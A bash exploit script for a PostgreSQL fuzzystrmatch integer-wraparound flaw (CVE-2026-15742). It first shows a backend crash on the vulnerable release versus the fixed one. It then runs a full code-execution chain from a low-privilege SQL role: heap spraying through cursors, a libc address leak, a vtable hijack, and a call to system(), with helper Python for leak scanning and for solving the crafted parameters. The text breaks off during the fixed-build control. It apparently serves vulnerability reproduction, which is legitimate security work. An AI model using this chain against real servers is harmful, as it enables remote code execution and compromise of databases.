#!/bin/bash
# CVE-2026-15742 - PostgreSQL fuzzystrmatch levenshtein integer wraparound -> OOB write
#
# Vulnerable checkout : parent of fixed commit e88eb4e766381070f42e5b84e583a1d0288983f7
#   (37b8f3b0e05e85d4338f04c71caa156ba21d5015, shipped as PostgreSQL <= 17.10 / 18.5)
# Fixed checkout      : e88eb4e766381070f42e5b84e583a1d0288983f7
#   "Avoid overflow in Levenshtein distance calculations" (shipped in 17.11 / 18.6)
#
# Primary proof path: official release Docker images postgres:17.10 (vulnerable,
# contains the fix's parent code state) and postgres:17.11 (contains the fixed
# commit). Non-sanitized product proof over the real authenticated SQL boundary
# (psql as low-privilege role "attacker", CREATE EXTENSION fuzzystrmatch).
# Fallback path (no Docker): build both commits from source into the project cache.
#
# Trigger (established): SELECT levenshtein_less_equal('aaa','bbbbb',
#   1073741824,-1073741823,-2147483647,0);
# -> vulnerable backend: int32 wraparound derives stop_column=-2147483647, the
#    first row iteration executes prev[-2147483647] = 1, i.e. a 4-byte write at
#    offset -8589934588 from the heap row base -> backend SIGSEGV.
# -> fixed backend: returns 1 and stays healthy (64-bit arithmetic + range ERROR).
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
log() { echo "[repro $(date +%H:%M:%S)] $*" | tee -a "$MAIN_LOG"; }

FIX_COMMIT="e88eb4e766381070f42e5b84e583a1d0288983f7"
VULN_COMMIT="37b8f3b0e05e85d4338f04c71caa156ba21d5015"   # fixed commit parent
REPO_URL="https://github.com/postgres/postgres"
VULN_IMAGE="postgres:17.10"
FIXED_IMAGE="postgres:17.11"

TRIGGER_SQL="SELECT levenshtein_less_equal('aaa','bbbbb',1073741824,-1073741823,-2147483647,0);"
WRAP_SQL="SELECT levenshtein('GUMBO','GAMBOL',2000000000,2000000000,2000000000);"
RANGE_SQL="SELECT levenshtein_less_equal('aaa','aaaaa',1073741824,0,1073741824,10);"

CACHE_JSON="$ROOT/project_cache_context.json"
CACHE_DIR=""
if [ -f "$CACHE_JSON" ] && jq -e '.prepared == true' "$CACHE_JSON" >/dev/null 2>&1; then
  CACHE_DIR="$(jq -r '.project_cache_dir' "$CACHE_JSON")"
fi
[ -n "$CACHE_DIR" ] || CACHE_DIR="$ROOT/artifacts/postgres-cache"
mkdir -p "$CACHE_DIR"
log "cache dir: $CACHE_DIR"

RESULTS="$REPRO_DIR/results.env"
: > "$RESULTS"

sha256_of() { sha256sum "$1" | awk '{print $1}'; }

# ---------------------------------------------------------------------------
# Mode selection: docker (preferred) or source build fallback.
# ---------------------------------------------------------------------------
MODE=""
if docker info >/dev/null 2>&1; then
  MODE="docker"
else
  MODE="source"
fi
log "mode: $MODE"

# ============================ DOCKER PATH ===================================
docker_ensure_image() {
  local image="$1"
  if ! docker image inspect "$image" >/dev/null 2>&1; then
    log "pulling $image"
    docker pull "$image" >>"$MAIN_LOG" 2>&1
  fi
  docker image inspect -f '{{index .RepoDigests 0}}' "$image"
}

docker_start_pg() {  # name image
  local name="$1" image="$2"
  docker rm -f "$name" >/dev/null 2>&1 || true
  docker run -d --name "$name" -e POSTGRES_PASSWORD=postgres "$image" >>"$MAIN_LOG" 2>&1
  local i
  for i in $(seq 1 60); do
    if docker exec "$name" pg_isready -U postgres -d postgres >/dev/null 2>&1; then
      return 0
    fi
    sleep 1
  done
  log "ERROR: $name did not become ready"
  return 1
}

docker_setup_ext() {  # name ; creates low-priv role + extension as superuser
  local name="$1"
  docker exec "$name" psql -U postgres -d postgres -X -v ON_ERROR_STOP=1 \
    -c "DROP ROLE IF EXISTS attacker;" \
    -c "CREATE ROLE attacker LOGIN PASSWORD 'attacker';" \
    -c "CREATE EXTENSION IF NOT EXISTS fuzzystrmatch;" >>"$MAIN_LOG" 2>&1
  docker exec "$name" psql -U postgres -d postgres -X -tA \
    -c "SELECT extname||'='||extversion FROM pg_extension WHERE extname='fuzzystrmatch';"
}

# run SQL as low-priv attacker role over the real authenticated SQL boundary
docker_psql_attacker() {  # name sql outfile ; returns psql exit code
  local name="$1" sql="$2" out="$3" rc=0
  timeout 60 docker exec -e PGPASSWORD=attacker "$name" \
    psql -U attacker -d postgres -X -v ON_ERROR_STOP=1 -c "$sql" >"$out" 2>&1 || rc=$?
  return $rc
}

# ============================ SOURCE PATH ===================================
ensure_build_deps() {
  if ! command -v bison >/dev/null 2>&1 || ! command -v flex >/dev/null 2>&1; then
    log "installing build dependencies"
    sudo apt-get update -y >>"$MAIN_LOG" 2>&1
    sudo apt-get install -y build-essential bison flex libreadline-dev zlib1g-dev >>"$MAIN_LOG" 2>&1
  fi
}

ensure_repo() {
  local repo="$CACHE_DIR/repo"
  if [ ! -d "$repo/.git" ]; then
    log "cloning $REPO_URL -> $repo"
    rm -rf "$repo"
    git clone --quiet "$REPO_URL" "$repo" >>"$MAIN_LOG" 2>&1
  fi
  git -C "$repo" cat-file -e "$FIX_COMMIT^{commit}" 2>/dev/null || \
    git -C "$repo" fetch --quiet origin "$FIX_COMMIT" >>"$MAIN_LOG" 2>&1
  echo "$repo"
}

build_pg() {  # sha dest
  local sha="$1" dest="$2" repo
  repo="$(ensure_repo)"
  if [ -x "$dest/bin/postgres" ]; then
    log "reusing cached build $dest"
    return 0
  fi
  local wt="$CACHE_DIR/wt-${sha:0:12}"
  rm -rf "$wt"
  git -C "$repo" worktree add --force --detach "$wt" "$sha" >>"$MAIN_LOG" 2>&1
  log "configuring $sha"
  (cd "$wt" && ./configure --prefix="$dest" --without-icu >>"$MAIN_LOG" 2>&1)
  log "building $sha (this takes several minutes)"
  make -C "$wt" -j"$(nproc)" >>"$MAIN_LOG" 2>&1
  make -C "$wt" install >>"$MAIN_LOG" 2>&1
  make -C "$wt/contrib/fuzzystrmatch" install >>"$MAIN_LOG" 2>&1
  git -C "$repo" worktree remove --force "$wt" >>"$MAIN_LOG" 2>&1 || true
}

SRC_SOCKET_DIR="$CACHE_DIR/sock"
mkdir -p "$SRC_SOCKET_DIR"

src_start_pg() {  # name prefix ; fresh data dir, unix socket only
  local name="$1" prefix="$2"
  local data="$CACHE_DIR/data-$name"
  src_stop_pg "$name" || true
  rm -rf "$data"
  "$prefix/bin/initdb" -D "$data" -U postgres -A trust >>"$MAIN_LOG" 2>&1
  "$prefix/bin/pg_ctl" -D "$data" -l "$LOGS/${name}.startup.log" \
    -o "-k $SRC_SOCKET_DIR -p 55433 -c listen_addresses=''" -w start >>"$MAIN_LOG" 2>&1
  # low-priv role + extension as superuser
  "$prefix/bin/psql" -h "$SRC_SOCKET_DIR" -p 55433 -U postgres -d postgres -X -v ON_ERROR_STOP=1 \
    -c "DROP ROLE IF EXISTS attacker;" \
    -c "CREATE ROLE attacker LOGIN PASSWORD 'attacker';" \
    -c "CREATE EXTENSION IF NOT EXISTS fuzzystrmatch;" >>"$MAIN_LOG" 2>&1
  "$prefix/bin/psql" -h "$SRC_SOCKET_DIR" -p 55433 -U postgres -d postgres -X -tA \
    -c "SELECT extname||'='||extversion FROM pg_extension WHERE extname='fuzzystrmatch';"
}

src_stop_pg() {  # name
  local data="$CACHE_DIR/data-$1"
  if [ -d "$data" ]; then
    # find any prefix that has pg_ctl
    for p in "$CACHE_DIR/pg-vuln" "$CACHE_DIR/pg-fixed"; do
      [ -x "$p/bin/pg_ctl" ] && "$p/bin/pg_ctl" -D "$data" -m fast stop >>"$MAIN_LOG" 2>&1 && return 0
    done
  fi
  return 0
}

src_psql_attacker() {  # name prefix sql outfile
  local name="$1" prefix="$2" sql="$3" out="$4" rc=0
  PGPASSWORD=attacker timeout 60 "$prefix/bin/psql" -h "$SRC_SOCKET_DIR" -p 55433 \
    -U attacker -d postgres -X -v ON_ERROR_STOP=1 -c "$sql" >"$out" 2>&1 || rc=$?
  return $rc
}

# ============================ GENERIC ATTEMPT DRIVER ========================
# Globals set per attempt: T_NAME (container/name), T_PREFIX (source prefix)
run_health_query() {  # outfile -> rc
  if [ "$MODE" = "docker" ]; then
    docker_psql_attacker "$T_NAME" "SELECT 42;" "$1"
  else
    src_psql_attacker "$T_NAME" "$T_PREFIX" "SELECT 42;" "$1"
  fi
}

run_sql_attacker() {  # sql outfile -> rc
  if [ "$MODE" = "docker" ]; then
    docker_psql_attacker "$T_NAME" "$1" "$2"
  else
    src_psql_attacker "$T_NAME" "$T_PREFIX" "$1" "$2"
  fi
}

collect_server_log() {  # destfile
  if [ "$MODE" = "docker" ]; then
    docker logs "$T_NAME" >"$1" 2>&1 || true
  else
    cat "$LOGS/${T_NAME}.startup.log" >"$1" 2>/dev/null || true
    # also append postmaster log from data dir if present
    cat "$CACHE_DIR/data-$T_NAME/log/"*.log >>"$1" 2>/dev/null || true
  fi
}

stop_target() {
  if [ "$MODE" = "docker" ]; then
    docker rm -f "$T_NAME" >>"$MAIN_LOG" 2>&1 || true
  else
    src_stop_pg "$T_NAME" || true
  fi
}

start_target() {  # role(vulnerable|fixed) attempt adir ; sets T_NAME/T_PREFIX, writes $adir/setup.txt
  local role="$1" attempt="$2" adir="$3"
  T_NAME="cve15742-${role}-${attempt}"
  if [ "$MODE" = "docker" ]; then
    local image="$VULN_IMAGE"; [ "$role" = "fixed" ] && image="$FIXED_IMAGE"
    docker_start_pg "$T_NAME" "$image"
    docker_setup_ext "$T_NAME" >"$adir/setup.txt"
  else
    local prefix="$CACHE_DIR/pg-vuln"; [ "$role" = "fixed" ] && prefix="$CACHE_DIR/pg-fixed"
    T_PREFIX="$prefix"
    src_start_pg "$T_NAME" "$prefix" >"$adir/setup.txt"
  fi
}

# ---------------------------------------------------------------------------
# Build / prepare both targets
# ---------------------------------------------------------------------------
VULN_ID="" FIXED_ID=""
if [ "$MODE" = "docker" ]; then
  VULN_ID="$(docker_ensure_image "$VULN_IMAGE")"
  FIXED_ID="$(docker_ensure_image "$FIXED_IMAGE")"
  log "vulnerable image: $VULN_ID"
  log "fixed image:      $FIXED_ID"
else
  ensure_build_deps
  REPO_PATH="$(ensure_repo)"
  log "verifying fixed-commit ancestry: vuln=$VULN_COMMIT fix=$FIX_COMMIT"
  git -C "$REPO_PATH" merge-base --is-ancestor "$VULN_COMMIT" "$FIX_COMMIT" \
    && log "OK: $VULN_COMMIT is ancestor of $FIX_COMMIT"
  VULN_RESOLVED="$(git -C "$REPO_PATH" rev-parse "$FIX_COMMIT^")"
  log "fixed commit parent resolves to $VULN_RESOLVED (expected $VULN_COMMIT)"
  build_pg "$VULN_COMMIT" "$CACHE_DIR/pg-vuln"
  build_pg "$FIX_COMMIT" "$CACHE_DIR/pg-fixed"
  VULN_ID="git:$REPO_URL@$VULN_COMMIT"
  FIXED_ID="git:$REPO_URL@$FIX_COMMIT"
  T_PREFIX=""
fi

# ---------------------------------------------------------------------------
# Run 2 vulnerable + 2 fixed attempts
# ---------------------------------------------------------------------------
VULN_CRASHES=0
FIXED_HEALTHY=0

for attempt in 1 2; do
  for role in vulnerable fixed; do
    ADIR="$LOGS/${role}_attempt_${attempt}"
    mkdir -p "$ADIR"
    log "=== $role attempt $attempt ==="
    start_target "$role" "$attempt" "$ADIR"
    log "$role attempt $attempt: extension: $(tail -1 "$ADIR/setup.txt")"

    # health check as low-priv attacker BEFORE the trigger
    if run_health_query "$ADIR/health_before.txt"; then
      log "$role attempt $attempt: attacker health check OK"
    else
      log "$role attempt $attempt: attacker health check FAILED"; cat "$ADIR/health_before.txt"
    fi

    # patch-state probe: integer wraparound in levenshtein()
    run_sql_attacker "$WRAP_SQL" "$ADIR/wraparound.txt" || true
    log "$role attempt $attempt: levenshtein(2e9 costs) -> $(tr '\n' ' ' < "$ADIR/wraparound.txt" | head -c 200)"

    # the CVE trigger
    trigger_rc=0
    run_sql_attacker "$TRIGGER_SQL" "$ADIR/psql.txt" || trigger_rc=$?
    sleep 2
    collect_server_log "$ADIR/server.txt"

    if [ "$role" = "vulnerable" ]; then
      if grep -qiE "signal 11|Segmentation fault|SIGSEGV" "$ADIR/server.txt" \
         && grep -qiE "levenshtein_less_equal" "$ADIR/server.txt"; then
        log "$role attempt $attempt: BACKEND SIGSEGV on trigger confirmed (psql rc=$trigger_rc)"
        VULN_CRASHES=$((VULN_CRASHES+1))
        echo "attempt${attempt}=crash" >> "$RESULTS.tmp.$role"
      else
        log "$role attempt $attempt: NO crash observed (psql rc=$trigger_rc)"
        cat "$ADIR/psql.txt" | tee -a "$MAIN_LOG"
        echo "attempt${attempt}=nocrash" >> "$RESULTS.tmp.$role"
      fi
    else
      # fixed: trigger must return 1 and server stays healthy
      if grep -qE "^\s*1\s*$" "$ADIR/psql.txt" && run_health_query "$ADIR/health_after.txt"; then
        log "$role attempt $attempt: trigger returned 1, server healthy (fixed behavior)"
        FIXED_HEALTHY=$((FIXED_HEALTHY+1))
        echo "attempt${attempt}=healthy" >> "$RESULTS.tmp.$role"
      else
        log "$role attempt $attempt: UNEXPECTED fixed behavior (psql rc=$trigger_rc)"
        cat "$ADIR/psql.txt" | tee -a "$MAIN_LOG"
        echo "attempt${attempt}=unexpected" >> "$RESULTS.tmp.$role"
      fi
    fi

    # patch-state probe: range-checked reference query
    run_sql_attacker "$RANGE_SQL" "$ADIR/range_ref.txt" || true
    log "$role attempt $attempt: levenshtein_less_equal range ref -> $(tr '\n' ' ' < "$ADIR/range_ref.txt" | head -c 200)"

    stop_target
  done
done

log "vulnerable crashes: $VULN_CRASHES/2 ; fixed healthy: $FIXED_HEALTHY/2"
{
  echo "VULN_CRASHES=$VULN_CRASHES"
  echo "FIXED_HEALTHY=$FIXED_HEALTHY"
  echo "MODE=$MODE"
  echo "VULN_ID=$VULN_ID"
  echo "FIXED_ID=$FIXED_ID"
} >> "$RESULTS"

CONFIRMED=false
if [ "$VULN_CRASHES" -eq 2 ] && [ "$FIXED_HEALTHY" -eq 2 ]; then
  CONFIRMED=true
fi


# ===========================================================================
# STAGE 2: full RCE chain on the vulnerable release build (docker mode only)
#   blind heap spray -> directed free -> libc disclosure via cursor FETCH
#   readback -> methods vtable hijack -> system("id>x") from the backend.
#
# All numeric parameters are precomputed build constants for the
# postgres:17.10 image (verified by the int32 simulator embedded below);
# the libc base is leaked AT RUNTIME on each fresh cluster. Coverage of the
# chosen low-32-bit target (0x7F000000) succeeds only when the cluster's
# heap base is low enough (~47% of clusters), so the whole stage retries
# with fresh clusters (postmaster restarts re-randomize all bases).
# ===========================================================================
RCE_OK=0
RCE_MARKER_HITS=0
RCE_DIR="$LOGS/rce"
mkdir -p "$RCE_DIR"

if [ "$MODE" = "docker" ]; then

SYS_OFF=$((0x53110))          # system() offset in the image's glibc 2.36 build
LEAK_OFF=$((0x1e5f50))        # empty-unsorted-bin fd offset from libc base (same build)
VT=$((0x7F000004))            # fake-vtable low32 (payload-phase aligned)
SPRAY_CELL_LEAK="00000000010500000000000000000000"  # fake glibc chunk size 0x501 at rel-4

# leak trigger: length(repeat(v,11000)) forces a dedicated >8KB block so the
# levenshtein row buffer's block has a non-NULL next (hi32 preserved); stop=-8
# rewrites next's low32 to 0x7F000000 -> AllocSetReset directed-frees the fake
# chunk there; size class 0x501 skips tcache -> unsorted bin fd/bk = main_arena
# pointer written into the cursor-held spray, read back via FETCH.
LEAK_TRIGGER="SELECT length(repeat(v,11000)), levenshtein_less_equal(v, repeat('b',4), -2145580506, 2147448542, -6226786, 2130706431) FROM t3;"

rce_setup() {  # container-name image
  local c="$1" img="$2"
  docker rm -f "$c" >/dev/null 2>&1 || true
  docker run -d --name "$c" --cap-add SYS_PTRACE -e POSTGRES_PASSWORD=postgres "$img" >>"$MAIN_LOG" 2>&1
  local i
  for i in $(seq 1 90); do
    docker exec "$c" pg_isready -U postgres >/dev/null 2>&1 && break
    sleep 1
  done
  docker exec "$c" psql -U postgres -X -v ON_ERROR_STOP=1 \
    -c "CREATE ROLE attacker LOGIN PASSWORD 'attacker';" \
    -c "CREATE EXTENSION IF NOT EXISTS fuzzystrmatch;" \
    -c "CREATE TABLE IF NOT EXISTS t(v text); INSERT INTO t SELECT repeat('a',32) WHERE NOT EXISTS (SELECT 1 FROM t); GRANT SELECT ON t TO attacker;" \
    -c "CREATE TABLE IF NOT EXISTS t3(v text); INSERT INTO t3 SELECT 'aaa' WHERE NOT EXISTS (SELECT 1 FROM t3); GRANT SELECT ON t3 TO attacker;" >>"$MAIN_LOG" 2>&1
}

write_leak_sql() {  # path
  cat > "$1" <<SQL
SET work_mem='4GB';
BEGIN;
DECLARE c1 CURSOR WITH HOLD FOR SELECT decode(repeat('${SPRAY_CELL_LEAK}',1875),'hex') FROM generate_series(1,35000);
COMMIT;
BEGIN;
DECLARE c2 CURSOR WITH HOLD FOR SELECT decode(repeat('${SPRAY_CELL_LEAK}',1875),'hex') FROM generate_series(1,35000);
COMMIT;
SELECT 'spray-done', pg_backend_pid();
${LEAK_TRIGGER}
SELECT 'trigger-done';
FETCH ALL FROM c1;
FETCH ALL FROM c2;
SELECT 'fetch-done';
SQL
}

write_finale_sql() {  # path system_hex_le cmdletter  (uses M_N M_INS M_DEL M_SUB M_MAXD env)
  local path="$1" syshex="$2" letter="$3"
  local cmd_ins cmd_del cmd_sub cmd_maxd
  if [ "$letter" = "x" ]; then
    cmd_ins=-2145345817; cmd_del=2147412483; cmd_sub=-44088874; cmd_maxd=2017354856
  else
    cmd_ins=-2140382174; cmd_del=2147451849; cmd_sub=-1582475498; cmd_maxd=1702125923
  fi
  cat > "$path" <<SQL
SET work_mem='4GB';
BEGIN;
DECLARE c1 CURSOR WITH HOLD FOR SELECT decode(repeat('${syshex}',3750),'hex') FROM generate_series(1,35000);
COMMIT;
BEGIN;
DECLARE c2 CURSOR WITH HOLD FOR SELECT decode(repeat('${syshex}',3750),'hex') FROM generate_series(1,35000);
COMMIT;
SELECT 'spray-done', pg_backend_pid();
SELECT pg_sleep(10);
SELECT levenshtein_less_equal(v, repeat('b',4), ${cmd_ins}, ${cmd_del}, ${cmd_sub}, ${cmd_maxd}),
       levenshtein_less_equal(v, repeat('b',${M_N}), ${M_INS}, ${M_DEL}, ${M_SUB}, ${M_MAXD})
FROM t3;
SELECT 'post-trigger', 42;
SQL
}

# scanner: find the unsorted-bin fd/bk pair (identical consecutive qwords
# pointing into libc) written into a fetched row; print LEAK fd=0x...
cat > "$RCE_DIR/leak_scan.py" <<'PY'
import sys
def expected(i):
    r = i % 16
    if r == 4: return 0x01
    if r == 5: return 0x05
    return 0x00
rowno = 0
for line in sys.stdin:
    if not line.startswith('\\x'):
        continue
    rowno += 1
    hexs = line.strip()[2:]
    data = None
    for ci in range(0, len(hexs), 2):
        b = int(hexs[ci:ci+2], 16)
        if b != expected(ci // 2):
            if data is None:
                data = bytes.fromhex(hexs)
            off = ci // 2
            lo = max(0, off - 32)
            win = data[lo:off + 48]
            for q in range(0, len(win) - 15):
                v1 = int.from_bytes(win[q:q+8], 'little')
                v2 = int.from_bytes(win[q+8:q+16], 'little')
                if v1 == v2 and 0x000010000000 <= v1 <= 0x00007fffffffffff:
                    print(f"LEAK row={rowno} fd=0x{v1:012x}", flush=True)
                    sys.exit(0)
            print(f"ROW {rowno} deviation at {off} but no fd/bk pair", flush=True)
            sys.exit(2)
print("NO-DEVIATION", flush=True)
sys.exit(3)
PY

# int32-semantics solver: levenshtein_less_equal params for (stop=-68, value=VT, m=3)
cat > "$RCE_DIR/solve.py" <<'PYSOLVE'
import sys
MASK = 0xFFFFFFFF
def i32(x):
    x &= MASK
    return x - 0x100000000 if x >= 0x80000000 else x
def trunc_div(a, b):
    q = abs(a) // abs(b)
    return -q if (a < 0) != (b < 0) else q
def derive(m, n, ins_c, del_c, sub_c, max_d):
    net = n - m
    min_theo_d = i32(-net * del_c) if net < 0 else i32(net * ins_c)
    if min_theo_d > max_d: return None
    k = i32(ins_c + del_c)
    if k < sub_c: sub_c = k
    max_theo_d = i32(min_theo_d + i32(sub_c * min(m, n)))
    if max_d >= max_theo_d: return None
    if k <= 0: return None
    slack_d = i32(max_d - min_theo_d)
    best = -net if net < 0 else 0
    stop = i32(best + trunc_div(slack_d, k) + 1)
    if stop > m: stop = m + 1
    return stop
def solve(stop, value, m):
    max_d = value - 1
    t = stop - 1; at = abs(t)
    lo = max(1, (0x80000000 - max_d) // at - 5000)
    hi = min(0x7FFFFFFF, (0x100000000 + max_d) // at + 5000)
    step = max(1, (hi - lo) // 80000)
    inv = pow(m % (2**32), -1, 2**32)
    for k in range(lo, hi, step):
        for slack in {t*k, t*k - (k-1), t*k - k//2}:
            if trunc_div(slack, k) != t: continue
            min_theo = i32(max_d - slack)
            if min_theo > max_d: continue
            ins = min_theo
            if not (-0x80000000 <= ins <= 0x7FFFFFFF): continue
            del_c = k - ins
            if not (-0x80000000 <= del_c <= 0x7FFFFFFF): continue
            if i32(ins + del_c) != k: continue
            if i32(min_theo + i32(k * m)) > max_d:
                sub_c = 0x7FFFFFFF
            else:
                need = (max_d + 1 - min_theo) % (2**32)
                sub_c = (need * inv) % (2**32)
                if sub_c >= 0x80000000: sub_c -= 2**32
                if k < sub_c: continue
            if derive(m, m + 1, ins, del_c, sub_c, max_d) == stop:
                return (m + 1, ins, del_c, sub_c, max_d)
    return None
r = solve(-68, int(sys.argv[1], 0), 3)
if r:
    print("%d %d %d %d %d" % r)
else:
    sys.exit(1)
PYSOLVE

RCE_CONTAINER="cve15742-rce"
ATTEMPT_LOG="$RCE_DIR/attempts.log"
: > "$ATTEMPT_LOG"

for cluster_attempt in $(seq 1 16); do
  log "RCE stage: cluster attempt $cluster_attempt"
  rce_setup "$RCE_CONTAINER" "$VULN_IMAGE"
  if [ "$cluster_attempt" = "1" ]; then
    docker cp "$RCE_CONTAINER:/usr/lib/postgresql/17/bin/postgres" "$RCE_DIR/postgres_vuln.bin" >>"$MAIN_LOG" 2>&1 || true
    [ -f "$RCE_DIR/postgres_vuln.bin" ] && readelf -W -h -l -d -s -n "$RCE_DIR/postgres_vuln.bin" > "$RCE_DIR/readelf_vuln.txt" 2>&1 || true
    docker exec "$RCE_CONTAINER" cat /proc/sys/kernel/randomize_va_space > "$RCE_DIR/randomize_va_space.txt" 2>&1 || true
  fi
  write_leak_sql "$RCE_DIR/leak_${cluster_attempt}.sql"
  docker cp "$RCE_DIR/leak_${cluster_attempt}.sql" "$RCE_CONTAINER:/tmp/leak.sql" >>"$MAIN_LOG" 2>&1
  timeout 560 docker exec "$RCE_CONTAINER" bash -c \
    "PGPASSWORD=attacker psql -U attacker -d postgres -X -A -t -f /tmp/leak.sql 2>&1" \
    | timeout 540 python3 "$RCE_DIR/leak_scan.py" > "$RCE_DIR/leak_${cluster_attempt}.txt" 2>&1 || true
  if ! grep -q "^LEAK " "$RCE_DIR/leak_${cluster_attempt}.txt"; then
    log "RCE stage: cluster $cluster_attempt leak missed (coverage); restarting cluster"
    continue
  fi
  FD=$(sed -n 's/^LEAK .*fd=\(0x[0-9a-f]*\)/\1/p' "$RCE_DIR/leak_${cluster_attempt}.txt")
  LIBC_BASE=$(python3 -c "print(hex($FD - $LEAK_OFF))")
  SYSTEM=$(python3 -c "print(hex($LIBC_BASE + $SYS_OFF))")
  if [ $((LIBC_BASE % 4096)) -ne 0 ]; then
    log "RCE stage: leak sanity failed (fd=$FD); restarting cluster"
    continue
  fi
  log "RCE stage: leaked fd=$FD -> libc_base=$LIBC_BASE system=$SYSTEM"
  SYSHEX=$(python3 -c "print(int($SYSTEM).to_bytes(8,'little').hex())")
  # finale attempt within this cluster at a given VT (fake-vtable low32)
  # letter x: cmd 'id>x' -> marker file x (id output)
  # letter y: cmd 'date' -> single-line timestamped output to backend stdout (server log)
  run_finale() {  # letter vt_hex -> 0 iff marker evidence produced
    local letter="$1" VT="$2"
    local fname="$letter"
    local MP
    MP=$(python3 "$RCE_DIR/solve.py" "$VT" 2>/dev/null) || { log "RCE stage: no params for VT=$VT"; return 1; }
    read -r M_N M_INS M_DEL M_SUB M_MAXD <<< "$MP"
    log "RCE stage: finale marker=$letter VT=$VT params=[$MP]"
    docker exec "$RCE_CONTAINER" bash -c "rm -f /var/lib/postgresql/data/$fname" >>"$MAIN_LOG" 2>&1
    write_finale_sql "$RCE_DIR/finale_${letter}.sql" "$SYSHEX" "$letter"
    docker cp "$RCE_DIR/finale_${letter}.sql" "$RCE_CONTAINER:/tmp/finale.sql" >>"$MAIN_LOG" 2>&1
    docker exec -d "$RCE_CONTAINER" bash -c \
      "PGPASSWORD=attacker psql -U attacker -d postgres -X -f /tmp/finale.sql > /tmp/finale.out 2>&1"
    local BP="" i
    for i in $(seq 1 60); do
      BP=$(docker exec "$RCE_CONTAINER" bash -c "grep 'spray-done' /tmp/finale.out 2>/dev/null | grep -oE '[0-9]+' | head -1")
      [ -n "$BP" ] && break
      sleep 2
    done
    if [ -n "$BP" ]; then
      echo "$BP" > "$RCE_DIR/backend_pid_${letter}.txt"
      docker exec "$RCE_CONTAINER" bash -c "cat /proc/$BP/maps" > "$RCE_DIR/maps_finale_${letter}.txt" 2>/dev/null || true
      if [ ! -s "$RCE_DIR/maps_finale_${letter}.txt" ]; then
        docker exec "$RCE_CONTAINER" bash -c 'for pr in /proc/[0-9]*; do if grep -qa attacker "$pr/cmdline" 2>/dev/null; then cat "$pr/maps"; break; fi; done' > "$RCE_DIR/maps_finale_${letter}.txt" 2>/dev/null || true
      fi
    fi
    local LINES_BEFORE
    if [ "$letter" = "y" ]; then
      LINES_BEFORE=$(docker logs "$RCE_CONTAINER" 2>&1 | grep -acE '^[A-Z][a-z]{2} [A-Z][a-z]{2} [ 0-9][0-9] [0-9:]{8} [A-Z][A-Z]* 20[0-9][0-9]$' || true)
    fi
    for i in $(seq 1 40); do
      if [ "$letter" = "y" ]; then
        docker logs "$RCE_CONTAINER" 2>&1 | grep -acE '^[A-Z][a-z]{2} [A-Z][a-z]{2} [ 0-9][0-9] [0-9:]{8} [A-Z][A-Z]* 20[0-9][0-9]$' 2>/dev/null | grep -qv "^${LINES_BEFORE}$" && break
      else
        docker exec "$RCE_CONTAINER" bash -c "test -f /var/lib/postgresql/data/$fname" 2>/dev/null && break
      fi
      docker exec "$RCE_CONTAINER" bash -c "grep -qE 'post-trigger|connection' /tmp/finale.out" 2>/dev/null && break
      sleep 3
    done
    sleep 2
    docker exec "$RCE_CONTAINER" bash -c "cat /tmp/finale.out" > "$RCE_DIR/finale_${letter}.psql.txt" 2>&1 || true
    if [ "$letter" = "y" ]; then
      docker logs "$RCE_CONTAINER" 2>&1 | grep -aE '^[A-Z][a-z]{2} [A-Z][a-z]{2} [ 0-9][0-9] [0-9:]{8} [A-Z][A-Z]* 20[0-9][0-9]$' | tail -1 > "$RCE_DIR/marker_${letter}.txt"
    else
      docker exec "$RCE_CONTAINER" bash -c "cat /var/lib/postgresql/data/$fname" > "$RCE_DIR/marker_${letter}.txt" 2>/dev/null || true
    fi
    if [ -s "$RCE_DIR/marker_${letter}.txt" ] \
       && grep -qE "uid=.*postgres|UTC 20" "$RCE_DIR/marker_${letter}.txt"; then
      log "RCE stage: MARKER $letter present: $(cat "$RCE_DIR/marker_${letter}.txt")"
      RCE_MARKER_HITS=$((RCE_MARKER_HITS+1))
      return 0
    fi
    log "RCE stage: finale marker $letter NOT created with VT=$VT"
    return 1
  }

  # VT candidates: depth-adaptive below the leak-proven point (the heap is
  # contiguous from its base, so a point halfway to the spray start is safely
  # covered; a second, shallower candidate covers stride-estimation error).
  LEAK_ROW=$(sed -n 's/^LEAK row=\([0-9]*\).*/\1/p' "$RCE_DIR/leak_${cluster_attempt}.txt")
  VT1=$(python3 -c "
r=$LEAK_ROW
v = 0x7F000000 - max((r * 30052) // 2, 0x01000000)
v = max(0x10000004, min(0x7F000004, v))
print(hex((v & ~7) | 4))")
  VT2=$(python3 -c "
r=$LEAK_ROW
v = 0x7F000000 - max((r * 30052) // 4, 0x00800000)
v = max(0x10000004, min(0x7F000004, v))
print(hex((v & ~7) | 4))")
  log "RCE stage: finale VT candidates $VT1 $VT2 (leak row $LEAK_ROW)"

  HITS_AT_START=$RCE_MARKER_HITS
  run_finale x "$VT1" || run_finale x "$VT2" || true
  if [ "$RCE_MARKER_HITS" -eq $((HITS_AT_START+1)) ]; then
    run_finale y "$VT1" || run_finale y "$VT2" || true
  fi
  if [ "$RCE_MARKER_HITS" -ge $((HITS_AT_START+2)) ]; then
    break
  fi
  # undo cross-cluster overcounting: only a same-cluster x+y pair counts
  if [ "$RCE_MARKER_HITS" -lt $((HITS_AT_START+2)) ]; then
    RCE_MARKER_HITS=$HITS_AT_START
  fi
  log "RCE stage: cluster $cluster_attempt finale incomplete; restarting cluster"
done

# --- fixed-build control: identical procedure, must fail closed ---
log "RCE stage: fixed control (postgres:17.11)"
RCE_FIXED_CLEAN=0
rce_setup "cve15742-rce-fixed" "$FIXED_IMAGE"
docker cp "cve15742-rce-fixed:/usr/lib/postgresql/17/bin/postgres" "$RCE_DIR/postgres_fixed.bin" >>"$MAIN_LOG" 2>&1 || true
[ -f "$RCE_DIR/postgres_fixed.bin" ] && readelf -W -h -l -d -s -n "$RCE_DIR/postgres_fixed.bin" > "$RCE_DIR/readelf_fixed.txt" 2>&1 || true
docker exec "cve15742-rce-fixed" bash -c "rm -f /var/lib/postgresql/data/x '/var/lib/postgresql/data/y@'" >>"$MAIN_LOG" 2>&1 || true
M_N=4 M_INS=-2147184152 M_DEL=2147428105 M_SUB=-5692236 M_MAXD=2130706435
write_finale_sql "$RCE_DIR/finale_fixed.sql" "10713c9abe780000" "x"
